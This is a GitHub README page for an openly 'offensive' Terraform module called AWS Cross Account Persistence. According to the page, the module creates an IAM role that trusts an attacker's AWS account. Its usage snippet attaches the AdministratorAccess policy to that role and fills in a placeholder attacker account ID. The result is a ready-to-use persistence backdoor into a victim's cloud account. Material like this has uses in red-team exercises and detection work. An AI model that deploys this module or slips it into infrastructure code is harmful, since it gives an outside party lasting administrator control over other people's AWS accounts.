Skip to content

Latest commit

 

History

History
27 lines (20 loc) · 939 Bytes

File metadata and controls

27 lines (20 loc) · 939 Bytes

AWS Cross Account Persistence

OffensiveTerraform OffensiveTerraform OffensiveTerraform

Offensive Terraform module which creates an IAM role with trust relationship with attacker's AWS account and attaches managed IAM Policy to an IAM role.

Attack Diagram

Usage

module "cross-account-persistence" {
  source  = "offensive-terraform/cross-account-persistence/aws"

  role_name           = "hack-the-planet"
  policy_arn          = "arn:aws:iam::aws:policy/AdministratorAccess"
  attacker_account_id = "000000000000"
}

output "role_arn" {
  value = module.cross-account-persistence.role_arn
}

Author

Module managed by https://github.com/iganbold